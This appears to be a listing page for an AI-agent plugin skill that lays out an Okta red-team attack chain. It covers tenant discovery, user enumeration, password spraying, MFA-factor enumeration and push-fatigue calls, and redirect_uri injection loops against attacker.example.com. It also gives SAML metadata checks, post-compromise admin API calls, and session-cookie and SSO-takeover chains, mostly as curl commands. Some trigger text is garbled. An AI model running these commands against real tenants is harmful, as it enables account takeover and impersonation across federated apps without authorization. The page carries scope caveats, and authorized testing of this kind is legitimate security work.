From claude-bughunter
Executes Okta-as-IdP red-team attack chain: tenant discovery, user enumeration, authentication flow analysis, password spray, phishing primitives, MFA enumeration, and post-compromise admin API surface.
How this skill is triggered — by the user, by Claude, or both
Slash command
/claude-bughunter:okta-attackThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
Trigger when:
Trigger when:
<tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)<tenant>.okta.com/login or /app/<app_id>/sso/saml/signin/customize, oktapreview.com, or auth-js-sdk*.okta.com SAN in TLS certDO NOT use for:
m365-entra-attack instead)google-workspace-attack — not yet built)# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
for region in okta okta-emea oktapreview; do
host="$tenant.$region.com"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
done
done
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
dig +short "sso.$domain" CNAME
dig +short "login.$domain" CNAME
dig +short "auth.$domain" CNAME
dig +short "okta.$domain" CNAME
done
# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant
/api/v1/authn differentialThe auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<email>","password":"_test_invalid_pw"}'
# Response codes:
# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
# 401 + "errorCode":"E0000119" → account locked
# 200 → MFA prompt (cred VALID, MFA needed)
# 200 + "status":"SUCCESS" → full auth (rare in modern setups)
⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
/api/v1/users/me/factors timingSome flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.
curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
-H "Accept: application/json"
# Response varies by tenant config
Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:
[email protected]
[email protected]
[email protected]
[email protected]
/v1/authorize with login_hint# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't
# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool
Response structure reveals factor configuration:
{
"stateToken": "00ABC...",
"factorResult": "WAITING",
"status": "MFA_REQUIRED",
"_embedded": {
"factors": [
{"factorType": "push", "provider": "OKTA"},
{"factorType": "token:software:totp", "provider": "OKTA"},
{"factorType": "sms", "provider": "OKTA"},
{"factorType": "call", "provider": "OKTA"},
{"factorType": "email", "provider": "OKTA"},
{"factorType": "question", "provider": "OKTA"},
{"factorType": "webauthn", "provider": "FIDO"}
]
}
}
Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
webauthn (FIDO2) — phishing-resistantquestion (security questions) — extremely weak; KBA attackssms / call — phishing-able (push notification fatigue, SIM swap)push — phishing-able via MFA fatigueemail — phishing-able if attacker has email read accesstotp — phishing-able via AiTMOkta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).
Discipline:
# Same /api/v1/authn — see authentication flow above
| Response | Meaning |
|---|---|
200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |
200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |
200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |
200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |
401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
401 E0000119 | User is locked |
429 | Rate-limit hit |
If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
-H "Content-Type: application/json" \
-d '{"stateToken":"<from_authn>"}'
# A real test would loop this — DON'T do that without explicit OK
Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:
# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
# Test redirect_uri injection
for ruri in \
"https://attacker.example.com/" \
"https://target.com.attacker.com/" \
"https://[email protected]/" \
"https://target.com#@attacker.com/" \
"https://target.com\\@attacker.com/" \
"//attacker.com/" \
"https://target.com/cb?next=https://attacker.com/"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" \
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
echo " $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain
Each Okta SAML app has its own SP metadata:
# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
# Look for:
# AuthnRequestsSigned="false" ← see hunt-saml for XSW
# WantAssertionsSigned="false" ← assertion-replay possible
# <NameIDFormat>...emailAddress</NameIDFormat>
If a valid cred + MFA-completed token is obtained:
# Get session token
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken
# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs" # audit log
Document existence; do not deploy without explicit phishing scope.
Okta FastPass is push-based + device-bound. Bypasses:
| Indicator | Configuration |
|---|---|
<tenant>.okta.com/api/v1/iam/orgs returns 401 (not 404) | API IAM endpoints enabled — admin attack surface |
customize/sign-in page reachable anon | Tenant brand customization is public — useful intel |
Multiple *.okta.com SAN certs | Multi-tenant org (less common) |
oktapreview.com subdomain | Preview/sandbox tenant — typically weaker security |
OktaTerrify (github.com/silverhack/OktaTerrify) — post-compromise Okta device-trust / FastPass enumeration. The only verifiable public Okta-specific offensive tool; no other named, maintained "okta-attacker"/"okta-toolkit" utility is verifiable — build engagement-specific scripts against /api/v1/* instead of citing unverified tool names.*.oktapreview.com with production — preview is a non-prod tenant, findings have different severitym365-entra-attack — sibling skill for the M365 case; identical mental modelhunt-oauth — OIDC redirect_uri tampering, state attack, PKCE bypasshunt-saml — XSW / signature-stripping for per-app SAML SPhunt-mfa-bypass — push fatigue, OTP brute, replaymid-engagement-ir-detection — Okta SOC dashboards are sensitive; expect mitigations during testingSeveral techniques publicly documented through 2022 (e.g., /api/v1/authn differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:
info@<domain> if reachable)If responses are identical, the vector is hardened — pivot to OneDrive-equivalent or different approach.
These are the canonical public references that justify the techniques in this skill. Cite them in reports when applicable and use them as analog cases when scoping novel Okta attack chains.
fcoa (failed cross-origin auth), scoa (successful cross-origin auth), pwd_leak (breached password match).bcrypt(userId + username + password). Bcrypt silently truncates input at 72 bytes. When username length ≥ 52 chars, the password bytes fall past the 72-byte boundary → cache key collapses to be password-independent. If the user had a prior successful login (cache populated) AND the AD/LDAP agent was unreachable AND MFA was disabled → any password authenticated.sid cookie from <tenant>.okta.com and <tenant>-admin.okta.com. Without IP-binding or device-binding on the Okta session, the attacker replays the cookie from a residential proxy and obtains the user's full session (incl. admin if the victim was an admin) — bypasses MFA entirely (already-MFA-completed session). Underpinned both the Oct 2023 HAR-file incident and most Scattered Spider intrusions.hunt-subdomain — Okta tenant naming patterns (<org>.okta.com, <org>.oktapreview.com, <org>-admin.okta.com) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via /.well-known/okta-organization → enumerate <org>-dev, <org>-uat, <org>-test subdomains → hunt-subdomain orphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate <org> users redirected through compromised IdP for any app federated to the dev tenant).m365-entra-attack — Okta-as-IdP for M365 is common in hybrid orgs. Chain primitive: okta-attack user enumeration + spray succeeds on Okta tenant → Okta is federated to Entra → SAML assertion issued by compromised Okta user → full M365 access without ever touching login.microsoftonline.com directly (bypasses Entra Conditional Access in many configurations).hunt-saml — Okta issues SAML assertions to every federated downstream app. Chain primitive: Okta admin or developer credential captured → mint arbitrary SAML assertions in Okta admin → hunt-saml XSW or signature manipulation not even needed — legitimately signed assertions for arbitrary impersonation across every federated app (Salesforce, Workday, AWS, GitHub, M365).hunt-mfa-bypass — Okta supports multiple factors with varying enforcement. Chain primitive: Okta password sprayed → MFA challenge → hunt-mfa-bypass factor-downgrade (push-fatigue, SMS fallback, voice fallback, security-question fallback) → bypass to authenticated session.triage-validation — Okta findings can be high-impact but need the 7-Question Gate run on whether the captured artifact (token, code, factor) actually grants meaningful access. Chain primitive: validated Okta primitive → triage-validation to confirm access plane → redteam-report-template with explicit federated-app blast-radius.npx claudepluginhub elementalsouls/claude-bughunter2plugins reuse this skill
First indexed Jun 11, 2026
Microsoft 365 / Entra ID red-team attack chain tooling. Covers tenant discovery, AADSTS codes, user enumeration, Smart Lockout, Conditional Access bypass, and ROPC/SAML spray tactics with Burp/Playwright templates.
Evaluates Okta configurations for compliance with FedRAMP/NIST/SOC2/PCI controls, checking password/MFA policies, session timeouts, admin factors, and inactive users.
Deploys Okta as centralized IdP for AWS, Azure, GCP SSO integration, phishing-resistant MFA with FastPass/FIDO2, user lifecycle automation via SCIM, and adaptive access policies on device posture/risk.